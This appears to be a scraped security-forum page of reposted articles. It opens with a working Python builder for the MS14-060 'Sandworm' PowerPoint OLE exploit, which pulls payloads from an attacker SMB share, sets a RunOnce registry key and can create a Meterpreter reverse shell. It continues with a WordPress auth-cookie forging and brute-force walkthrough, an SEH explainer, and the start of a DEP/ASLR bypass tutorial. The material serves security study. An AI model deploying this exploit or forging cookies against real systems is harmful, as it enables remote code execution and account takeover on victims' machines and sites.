2"/><v:f eqn="prod @3 21600 pixelWidth"/><v:f eqn="prod @3 21600 pixelHeight"/><v:f eqn="sum @0 0 1"/>' xml = xml + '<v:f eqn="prod @6 1 2"/><v:f eqn="prod @7 21600 pixelWidth"/><v:f eqn="sum @8 21600 0"/><v:f eqn="prod @7 21600 pixelHeight"/><v:f eqn="sum @10 21600 0"/></v:formulas>' xml = xml + '<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/><o:lock v:ext="edit" aspectratio="t"/></v:shapetype><v:shape id="_x0000_s1026" type="#_x0000_t75" style="position:absolute; left:100pt;top:-100pt;width:30pt;height:30pt"><v:imagedata o:relid="rId1" o:title=""/></v:shape><v:shape id="_x0000_s1027" type="#_x0000_t75" style="position:absolute; left:150pt;top:-100pt;width:30pt;height:30pt">' xml = xml + '<v:imagedata o:relid="rId2" o:title=""/></v:shape></xml>' return xml def build_xml_rels(ole1, ole2): xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' xml = xml + '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/' + ole1 + '"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/' + ole2 + '"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing" Target="../drawings/vmlDrawing1.vml"/></Relationships>' return xml def build_xml_slide1(): xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' xml = xml + '<p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"><p:cSld><p:spTree><p:nvGrpSpPr><p:cNvPr id="1" name=""/><p:cNvGrpSpPr/><p:nvPr/></p:nvGrpSpPr><p:grpSpPr><a:xfrm><a:off x="0" y="0"/><a:ext cx="0" cy="0"/><a:chOff x="0" y="0"/><a:chExt cx="0" cy="0"/></a:xfrm></p:grpSpPr><p:graphicFrame><p:nvGraphicFramePr><p:cNvPr id="4" name="Object 3"/><p:cNvGraphicFramePr><a:graphicFrameLocks noChangeAspect="1"/></p:cNvGraphicFramePr><p:nvPr/></p:nvGraphicFramePr><p:xfrm><a:off x="1270000" y="-1270000"/><a:ext cx="381000" cy="381000"/></p:xfrm><a:graphic><a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole"><p:oleObj spid="_x0000_s1026" name="Packager Shell Object" r:id="rId3" imgW="850320" imgH="686880" progId=""><p:embed/></p:oleObj></a:graphicData></a:graphic></p:graphicFrame><p:graphicFrame><p:nvGraphicFramePr><p:cNvPr id="5" name="Object 4"/><p:cNvGraphicFramePr><a:graphicFrameLocks noChangeAspect="1"/></p:cNvGraphicFramePr><p:nvPr/></p:nvGraphicFramePr><p:xfrm><a:off x="1905000" y="-1270000"/><a:ext cx="381000" cy="381000"/></p:xfrm><a:graphic><a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole"><p:oleObj spid="_x0000_s1027" name="Packager Shell Object" r:id="rId4" imgW="850320" imgH="686880" progId=""><p:embed/></p:oleObj></a:graphicData></a:graphic></p:graphicFrame></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr><p:transition><p:zoom/></p:transition><p:timing><p:tnLst><p:par><p:cTn id="1" dur="indefinite" restart="never" nodeType="tmRoot"><p:childTnLst><p:seq concurrent="1" nextAc="seek"><p:cTn id="2" dur="indefinite" nodeType="mainSeq"><p:childTnLst><p:par><p:cTn id="3" fill="hold"><p:stCondLst><p:cond delay="indefinite"/><p:cond evt="onBegin" delay="0"><p:tn val="2"/></p:cond></p:stCondLst><p:childTnLst><p:par><p:cTn id="4" fill="hold"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:par><p:cTn id="5" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="withEffect"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:set><p:cBhvr><p:cTn id="6" dur="1000"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="4"/></p:tgtEl><p:attrNameLst><p:attrName>style.visibility</p:attrName></p:attrNameLst></p:cBhvr><p:to><p:strVal val="visible"/></p:to></p:set></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par><p:par><p:cTn id="7" fill="hold"><p:stCondLst><p:cond delay="1000"/></p:stCondLst><p:childTnLst><p:par><p:cTn id="8" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="afterEffect"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:set><p:cBhvr><p:cTn id="9" dur="1000"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="4"/></p:tgtEl><p:attrNameLst><p:attrName>style.visibility</p:attrName></p:attrNameLst></p:cBhvr><p:to><p:strVal val="visible"/></p:to></p:set><p:cmd type="verb" cmd="-3"><p:cBhvr><p:cTn id="10" dur="1000" fill="hold"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="4"/></p:tgtEl></p:cBhvr></p:cmd></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par><p:par><p:cTn id="11" fill="hold"><p:stCondLst><p:cond delay="2000"/></p:stCondLst><p:childTnLst><p:par><p:cTn id="12" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="afterEffect"><p:stCondLst><p:cond delay="0"/></p:stCondLst><p:childTnLst><p:set><p:cBhvr><p:cTn id="13" dur="1000"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="5"/></p:tgtEl><p:attrNameLst><p:attrName>style.visibility</p:attrName></p:attrNameLst></p:cBhvr><p:to><p:strVal val="visible"/></p:to></p:set><p:cmd type="verb" cmd="3"><p:cBhvr><p:cTn id="14" dur="1000" fill="hold"><p:stCondLst><p:cond delay="0"/></p:stCondLst></p:cTn><p:tgtEl><p:spTgt spid="5"/></p:tgtEl></p:cBhvr></p:cmd></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn></p:par></p:childTnLst></p:cTn><p:prevCondLst><p:cond evt="onPrev" delay="0"><p:tgtEl><p:sldTgt/></p:tgtEl></p:cond></p:prevCondLst><p:nextCondLst><p:cond evt="onNext" delay="0"><p:tgtEl><p:sldTgt/></p:tgtEl></p:cond></p:nextCondLst></p:seq></p:childTnLst></p:cTn></p:par></p:tnLst></p:timing></p:sld>' return xml def build_xml_content_types(): xml = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' xml = xml + '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/xml"/><Default Extension="jpeg" ContentType="image/jpeg"/><Default Extension="bin" ContentType="application/vnd.openxmlformats-officedocument.presentationml.printerSettings"/><Default Extension="vml" ContentType="application/vnd.openxmlformats-officedocument.vmlDrawing"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="wmf" ContentType="image/x-wmf"/><Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml"/><Override PartName="/ppt/slideMasters/slideMaster1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideMaster+xml"/><Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/><Override PartName="/ppt/presProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presProps+xml"/><Override PartName="/ppt/viewProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.viewProps+xml"/><Override PartName="/ppt/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/ppt/tableStyles.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.tableStyles+xml"/><Override PartName="/ppt/slideLayouts/slideLayout1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout2.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout3.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout4.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout5.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout6.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout7.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout8.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout9.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout10.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout11.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/embeddings/oleObject1.bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Override PartName="/ppt/embeddings/oleObject2.bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>' return xml def build_inf(gif): exe = gif.split('.')[0] + '.exe' inf = '[Version]\n' inf = inf + 'Signature = "$CHICAGO$"\n' inf = inf + 'Class=61883\n' inf = inf + 'ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}\n' inf = inf + 'Provider=%Microsoft%\n' inf = inf + 'DriverVer=06/21/2006,6.1.7600.16385\n' inf = inf + '[DestinationDirs]\n' inf = inf + 'DefaultDestDir = 1\n' inf = inf + '[DefaultInstall]\n' inf = inf + 'RenFiles = RxRename\n' inf = inf + 'AddReg = RxStart\n' inf = inf + '[RxRename]\n' inf = inf + exe + ', ' + gif + '\n' inf = inf + '[RxStart]\n' inf = inf + 'HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\' + exe return inf def build_presentation(filename): prs = Presentation() slide_layout = prs.slide_layouts[6] # blank slide slide = prs.slides.add_slide(slide_layout) prs.save(filename) return def build_msfpayload(ip, port, file): cmd = 'msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s' % (ip, port, file) run_cmd= subprocess.check_output(cmd, shell=True) subprocess.call(run_cmd, shell=True) print ' [*] Meterpreter Reverse TCP EXE [%s] created.' % (file) ################################################# ############### Main ############### ################################################# def main(): print print '=============================================================================' print '| PowerPoint OLE Remote Code Execution (MS14-060 | CVE-2014-4114) |' print '| Author: Mike Czumak (T_v3rn1x) - @securitySift |' print '=============================================================================\n' args = get_args() # get the cl args ip = args.ip share = "share" ole1 = "oleObject1.bin" ole2 = "oleObject2.bin" vml = "vmlDrawing1.vml" pptx = "tmp.pptx" gif = "slide1.gif" inf = "slides.inf" # build meterpreter reverse tcp gif file (optional) if args.msf: print " Building metasploit reverse_tcp executable" build_msfpayload(args.ip, args.msf, gif) # build the bin, inf and vml files gif_bin = build_bin("EmbeddedStg1.txt", ip, share, gif) inf_bin = build_bin("EmbeddedStg2.txt", ip, share, inf) draw_vml = build_vml() rem_inf = build_inf(gif) write_file(inf, rem_inf) print (" [*] INF file [%s] created " % inf) # build the xml files xml_rel = build_xml_rels(ole1, ole2) xml_slide1 = build_xml_slide1() xml_content = build_xml_content_types() # build blank temp pptx presentation to convert to ppsx build_presentation(pptx) zippptx = pptx + ".zip" os.rename(pptx, zippptx) # rename to zip for modification # open temp pptx and a copy for modification zin = zipfile.ZipFile(zippptx, 'r') zippptx_copy = "copy_" + zippptx zout = zipfile.ZipFile(zippptx_copy, "w") # modify the pptx template with exploit for item in zin.infolist(): if (item.filename == "ppt/slides/slide1.xml"): zout.writestr(item, xml_slide1) # replace slide 1 contents elif (item.filename == "ppt/slides/_rels/slide1.xml.rels"): zout.writestr(item, xml_rel) # replace slide 1 rels elif (item.filename == "[Content_Types].xml"): zout.writestr(item, xml_content) # replace content_types else: buffer = zin.read(item.filename) zout.writestr(item,buffer) # use existing file zout.writestr("ppt/embeddings/" + ole1, gif_bin) zout.writestr("ppt/embeddings/"+ole2, inf_bin) zout.writestr("ppt/drawings/vmlDrawing1.vml", draw_vml) zout.close() zin.close() # convert to ppsx os.rename(zippptx_copy, args.filename) os.remove(zippptx) print (" [*] Exploit PPSX file [%s] created" % (args.filename)) print (" Place INF and GIF (EXE) payload file (called %s) in an SMB share called 'share'" % (gif)) print if __name__ == '__main__': main() Sursa: Windows OLE RCE Exploit MS14-060 (CVE-2014-4114) - Sandworm - Security SiftSecurity Sift
  7. Understanding WordPress Auth Cookies Written by:Mike Czumak Written on:April 20, 2014 Introduction A recently published vulnerability prompted me to take another look at the wp_validate_auth_cookie WordPress function which is responsible for validating authenticated user requests and ultimately controls access to to your WordPress installation. This post is not about that specific vulnerability (more info here) but rather about how WordPress generates and validates authentication cookies to authorize user requests. If you’re a WordPress user, I encourage you to read on to see what stands between malicious actors and access to your site. Note: All WP code examples are from version 3.9. The WordPress Auth Cookie When a user accesses any post-authentication resources (Dashboard, plugins management, user management, etc.) their authentication details are passed via an auth cookie and validated by the wp_validate_auth_cookie() function. This auth cookie is composed of the following components: Note: The | character (URL-encoded to %7C) serves as a delimiter. 1) Cookie ID What I’m calling the auth “cookie ID” is defined in the file default-constants.php: It’s simply a concatenation of “wordpress_” and a value called COOKIEHASH which is also defined in the same file: As you can see, COOKIEHASH is nothing more than an MD5 of your site’s URL. Here’s a verification using my test site’s URL: 2) Username This element is self-explanatory. Shortly, you’ll see how the username is used when constructing other elements of the cookie hash. 3) Expiration The expiration value is a UNIX timestamp that is set when the cookie is created in wp_set_auth_cookie and defaults to 2 days (defined in pluggable.php). Here’s the default timestamp that was generated for this demo cookie. As you’ll see in a bit, although a single timestamp is generated for a given auth cookie, the function responsible for validating a cookie will actually accept any valid UNIX time stamp as long as it’s not expired. This means it’s a predictable value that can be dictated by the user. 4) Hash So far all components of the cookie (cookie id, username, and expiration) are predictable. Predictability is obviously a bad thing when it comes to an authentication cookie, which is where the hash element comes in. To see how this hash is generated we can turn to the wp_generate_auth_cookie() function from the pluggable.php file located in the wp-includes directory. As you can see, the hash component of the cookie is an md5 value composed of the username and expiration, both of which are predictable. To address this, the PHP hash_hmac function employs the use of a shared secret key. This key is a hash of the username (predictable), expiration (predictable), scheme (predictable, defaults to ‘auth’) and pass_frag. The pass_frag is a 4 character sub string of the user’s password hash (from characters 8 to 12). Here’s the pass_frag from my test user ‘admin’ account: The user’s password hash is composed of character sets a-z, A-Z, 0-9 and two special characters –forward slash (/) and period (.). Since the pass_frag is only 4 characters in length, the total number of possible combinations (entropy) is (26+26+10+2)4 = 16,777,216. This may look like a big number but brute forcing all possible combinations is rather trivial. It should be noted that for the purposes of constructing and validating a user’s auth cookie, the entropy provided by the user’s password is the same whether that user has a 4 character password or a 40 character password. So, given the predictability of all of the individual elements that make up the hash, what makes the final hash (and resulting cookie) unpredictable? The answer lies in the wp_hash function used for construction of the key (found in pluggable.php). Let’s take a look: Though there’s not much to this function it does perform one critical step to ensure cookie unpredictability — it salts the data using the wp_salt function. This function constructs a salt from the AUTH_KEY and AUTH_SALT values found in the wp-config.php file. These two values are are concatenated together and returned to the wp_hash() function as the final salt value. Given the size and pseudo-randomness of this salt, the key (and resulting hash) are no longer predictable, despite the predictability of their individual components. In other words, this salt is what makes the hash unpredictable and ultimately, what makes the resulting cookie acceptable for use as an authentication verifier. It should be apparent that because all the cookie elements except the salt are predictable and under the control of the end user, it is imperative that the AUTH_KEY and AUTH_SALT values are kept secure. In 2012, codeseekah wrote a blog post about this very issue. Let’s take another look at the repercussions of key/salt predicability or disclosure… The Importance of Keys and Salts When an auth cookie is passed by a user it’s validated by the wp_validate_auth_cookie() function before providing any access to the requestor. Here are some of the key elements of that function. First, notice how the expiration value passed in the cookie is checked to see if it is less than the current date. If so, the cookie is considered expired and the user is not authenticated. As mentioned before, any value can be passed for expiration as long as it is a valid UNIX timestamp that is later than or within the expiration period (default two days). That means that you can technically construct a cookie with an expiration date in the future and this validation function will accept it. The function also grabs the password hash associated with the username passed in the cookie (assuming it’s valid) and extracts the four character pass_frag. It then reconstructs the cookie (in the same manner used by wp_set_auth_cookie), creates a hash, and compares it to a hash created from the cookie passed by the user. As long as they match, the user is authenticated and provided access to the requested resource (assuming they are authorized). With this in mind, consider these two points: All values used to reconstruct the auth cookie except the key/salt from wp-config are under the control of the requesting user. Unlike many other web applications, WordPress does not employ session management so this authentication check is wholly dependent upon the valid construct of the auth cookie and does not require a corresponding user session. These are important points because if the key and salt values used in constructing the hash portion of the cookie are disclosed, one can create a valid, persistent auth cookie for any user of their choosing. To demo this impact of disclosure, I’ve changed the auth_key and auth_salt values in my wp-config file to DisclosedKey and DisclosedSalt respectively. Assuming I’m a malicious actor that has access to these values, I can now reconstruct a valid auth cookie for a user of my choosing and gain access to the WordPress installation. The only piece of information I still need to generate is the target user’s pass_frag. I’ve written a basic python script (available for download below) that can generate all possible pass_frag combinations and create a valid WordPress cookie. Wpcookiegen wpcookiegen.py Version: Beta 4.2 KiB 181 Downloads Details For demo purposes, I’ve reduced the total character space from 16+ million to just over 50,000 (by reducing the individual character sets). The script generates all possible auth cookies (using all 4 character combinations of pass_frag) for a given user, given the key and salt. Here’s an example for the admin user: You can feed these values directly into Burp Intruder and brute force requests until a valid cookie is discovered. Notice I’ve prepended the generated cookies with a numerical identifier and the corresponding pass_frag. A simple match/replace payload processing regex will strip this extraneous information from the cookie before sending it to the target (^[0-9]*:[0-9a-zA-z\.\/]{4}:). Notice in my 50,000 request brute force demo below, I found a valid cookie about 1/10 of the way through my file (in less than 3 minutes, testing against a local installation of WordPress). With the salt and key values known, it would take at most 16,777,216 million requests to access any one user’s account. This applies to every user of that WordPress installation! While many WordPress installations will have some sort of brute force protections against the authentication page, they will not likely have such protections for all URLs/pages, making this brute force attack feasible (again, assuming that the secret key and salt are known). Another thing to note is that the only variable component of a user’s auth cookie is the the expiration time stamp and since WordPress accepts any expiration that is not expired (including any date in the future), there are many valid authentication cookies for any one user — one for each future timestamp. In addition, since WordPress doesn’t manage sessions, these valid cookies will provide access to a user’s account whether they are logged in or not. Depending on how far in the future you choose your expiration time stamps, the session keys can be valid for years. So, how big of a problem is this? In reality, it shouldn’t be a problem at all if your keys and salts are constructed with sufficient entropy and you protect access to your wp-config file. Protecting Your Keys and Salts When it comes to protecting your secret keys and salts, Codeseekah made several good recommendations, some of which I’l reiterate here: 1) Limit access to your wp-config.php file. Only trusted admins should have access to this sensitive file. In fact, access to this file will also provide access to your DB credentials. 2) Keep your WordPress installation (including all plugins) up-to-date to prevent exploit-based disclosure or unauthorized access. 3) Consider changing your keys and salts periodically. Keep in mind this will require all users to re-authenticate, which can be an effective way of terminating access if you suspect a compromise. There’s an API to generate pseudo-random salts/keys here: https://api.wordpress.org/secret-key/1.1/salt/. You don’t have to use an automatic generator, but whatever you do be sure not to change these to weaker values and decrease entropy! 4) If you feel that a salt alone is not sufficient, you might consider concatenating another value to the end of the salt created via the wp_hash() function (such as salt=wp_salt($scheme) . ‘UNIQUE_VALUE';). This would increase entropy and would also mean a component of your salt would be dictated in two WordPress configuration files vs. just one. 5) Using the same technique as above, you may also consider reducing the predictability of other components of your auth cookie. For example, add another parameter when generating the MD5 hash for the COOKIEHASH portion of the cookie ID (e.g. define(‘COOKIEHASH’,md5($siteurl . ‘UNIQUE_VALUE’))); Important: Remember to back up your WordPress installation before making any changes to config files! Conclusion My intent for this post was to demonstrate two things: 1) How WordPress uses authentication cookies to validate a user request in lieu of traditional session-management. 2) The importance of protecting your secret keys and salts. While most of the components of these auth cookies are predictable and controllable by the user, the secret keys and salts are unique to the WordPress installation and must be protected as their disclosure will put all WordPress installation user’s accounts at risk of unauthorized access. Please note that I am not suggesting there’s an exploitable vulnerability in this WordPress cookie-based authentication implementation. While a session-based approach would certainly shorten the lifespan of an auth cookie and the potential exposure of a user’s account, this approach is a valid solution, provided you keep your keys and salts secret! As always, thanks for reading. Feedback welcome. – Mike Sursa: Understanding WordPress Auth Cookies - Security SiftSecurity Sift
  8. Iar un tigan indian/pakistanez cacacios. vBulletin nu are parametru "cmd" in faq.php. Cine stie in ce versiune dubioasa descarcata de pe cine stie ce site malaezian exista asa ceva...
  9. Detailed Overview of SEH Written by Ravinder SEH stands for Structured Exception Handling developed by Borland and that gave license to Microsoft. This is the reason why SEH is available in Windows only. Exception is an error that disrupts the program execution. SEH is a software method of dispatching and handling exception, for software as well as hardware. If any exception occur then it first goes to OS that checks if any suitable handler is present/ define or not. If user define handler for that exception is present then OS pass exception to that handler otherwise pass to default OS handler. Different type of errors like divide by zero, out of bound, access violation etc. happen during unsafe programming. In OS corresponding defined exception handlers are present for them. We can also define our own handler by using try, except or try, catch block. In Try block place the code that will be check for exception. If any exception occur then passes to catch/except block means except block will executed when exception occur. In except block we can define our own handler that will we invoke message when that exception occur. Syntax for try, catch block is :: __try { // the block of code to try … } __except (exception filter) { // the code to run in the event of an exception … } The information about SEH is stored in Exception Registration Record. Exception Registration Record is the first record in the TIB(Thread Information Block). We can see TIB in the main thread of the process. Exception registration is the linked list that can be assess by FS [0] register. ERR has 8 bytes that point to two variables one is the pointer to next ERR and another variable is the pointer to handler. Registration of exceptional handler happen at run time (for proof we use Immunity debugger explained later) and depends upon where we are in the program. The linked list may be grows when program proceed. All records store on the stack and when new record add up using LIFO fashion. If new records added then OS handler is at the last and stack may shrink dynamically when handler remove from the list. The prototype of exceptional handler is defined in except.h in win32. As I mentioned in ERR, there are two variables, the second variable that is pointer to the handler(or SEH handler)has two main components user defined call back function(_except_handler) exception record ( _exception_record ) User defined call back function takes four parameters that can be seen in figure 1. This function tells what to do when exception occur. Some focus on important parameters – Establisher Frame point back to the stack. Context Record tells the register value at the time of exception. Dispatcher context gives the various information like what type of exception occurred, where exception occurred. The call back function decide what to do using that information. The remaining parameter is the pointer to Exception Record structure. The Exception Record structure can be seen in figure 1, Exception code tells about which number assign to the exception by operating system. Exception Address is the address at which exception occurred. fig 1 SEH chain during RUN Time!! First open the program into Immunity Debugger, press F9 to execute instruction by instruction. To see the SEH chain press ALT+S. You can see that only one exceptional handler is at this state when program proceed our handler will added and will appear on the SEH chain. Now our exception handler added in the link list of ERR(Exception registration Record). Now time to Handel the Exception!! As I explained earlier ERR can be access by using FS register. If you want to see then write d FS:[0]. We can also see that our exceptional handler point to the next SEH record which is the OS default Handler. If our handler will not able to handle exception then the OS default handler will handle it. To pass the exception press Shift+ F7/F8/F9. The memory access violation is successfully handled by our handler and it prints the message. After handling the exception this will remove from the SEH list and FS:[0] point again to the OS default handler. MY CODE!! .386 .model flat ,stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib ;Define the Macros Here TRY MACRO Handler pushad ;Save Current State mov esi, offset Handler ;Address of New(user created) Exception Handler push esi ;Save Old Exception Handler push dword ptr fs:[0] ;Install New Handler mov dword ptr fs:[0], esp ENDM CATCH MACRO Handler Handler: mov esp, [esp + 8] ;Exception Occured, Get old ESP pop dword ptr fs:[0] ;Restore previous Exception Handler popad ;Restore previous State ENDM .data title1 db ‘SEH !!’, 0 exception db ‘Exception handled successfully !!’, 0dh, 0ah db ‘Press OK to terminate’, 0 noException db ‘No Exception occured’, 0 .code start: ASSUME fs:NOTHING ;if we want to use fs set nothing TRY Access mov ebx, 0 ;Prepare to write to address 0 mov [ebx], ebx ;Write to address 0 (Access Violation) CATCH Access ;This code will get executed if an exception occurs. invoke MessageBox, NULL, addr exception, addr title1, MB_OK jmp ExitProgram ExitProgram: invoke MessageBox, NULL, addr noException, addr title1, MB_OK invoke ExitProcess, 0 end start References: A Crash Course on theDepths of Win32 Structured Exception Handling, MSJ January 1997 http://uninformed.org/index.cgi?v=5&a=2&p=4#fig-exdispatch Windows Exploit Development – Part 6: SEH Exploits - Security SiftSecurity Sift (image source) Sursa: http://securitytrainings.net/detailed-overview-seh/
  10. [h=3]Bypassing ASLR and DEP on Windows 7: The Audio Converter Case[/h] Well long time since the last post, but finally back after a bit of a break to explore other options. Today we will be looking at bypassing DEP and ASLR. Or as the Corlean team would put it, bypassing the Rubix's Cube Just before we start, a little shoutout to Format My Source Code for Blogging for making all the exploit code look neat n tidy in this post The exploit we will be working on is the Audio Converter 8.1 SEH buffer overflow from sud0, as detailed here: Audio Converter 8.1 0day Stack Buffer Overflow PoC exploit ROP/WPM. We will need the following tools to develop this exploit: [h=3]Required Tools[/h] Fully patched Windows 7 32 bit (I haven't done 64 bit exploitation, however you are welcome to try it out if you feel capable ) Immunity Debugger Python 2.7 Installed mona.py addon for Immunity Debugger from the ever awesome corelanc0d3r and his Corelan Team. Installed Audio Converter from http://www.exploit-db.com/wp-content/themes/exploit/applications/75f68aaa2ed2bdc458b2114f4ee302ae-audc81d.exe Some form of a text editor [h=3]Switching DEP On By Default[/h] By default Windows 7 comes with OptIn DEP. This would essentially mean that when we exploit the program, the only protection it would have is ASLR. But hey, that would be boring right? I mean come on, only one protection? Nah, lets change this: Click on Start in Windows, then right click on Computer and click properties you should see the following menu: Click Advanced System Settings then click the Advanced tab: Under Performance click Settings, then navigate to the Data Execution Prevention tab and click the option "Turn on DEP for all programs and services". You will have to restart your computer for the effects to take place. Ok all good? Lets get started! [h=3]Baby steps Scotty....baby steps[/h] So to start off, we need to figure out how to trigger the vulnerability. So lets start off with a very basic exploit structure. We'll use the following for the exploit: #!/usr/bin/python junk = "A" * 50000 buffer = junk handle = open("audioExploitDemo.pls", "w") handle.write(buffer) handle.close() We'll save this file as audioExploitDEPDemo.py. Run this python file and then run the resulting file as follows: Find the the audconv.exe executable within the Audio Converter file in Program Files and open it in Immunity Debugger. Next, click cancel on the popup menu that appears and then click on File -> Add Playlist. The program will now hit an access violation. Click on View -> SEH Chain. You should now see that we have overwritten the SEH handler, as seen above. [h=3]Finding The Offsets[/h] Ok, so now we know that the target is vulnerable to a SEH overwrite. So lets see if we cant find the offsets. Well we have mona.py installed, so why don't we generate a quick metasploit pattern to figure the offsets? To view the pattern.txt file navigate to: C:\Users\*your username here*\AppData\Local\VirtualStore\Program Files\Immunity Inc\Immunity Debugger Copy the info over there into our exploit: #!/usr/bin/python junk = 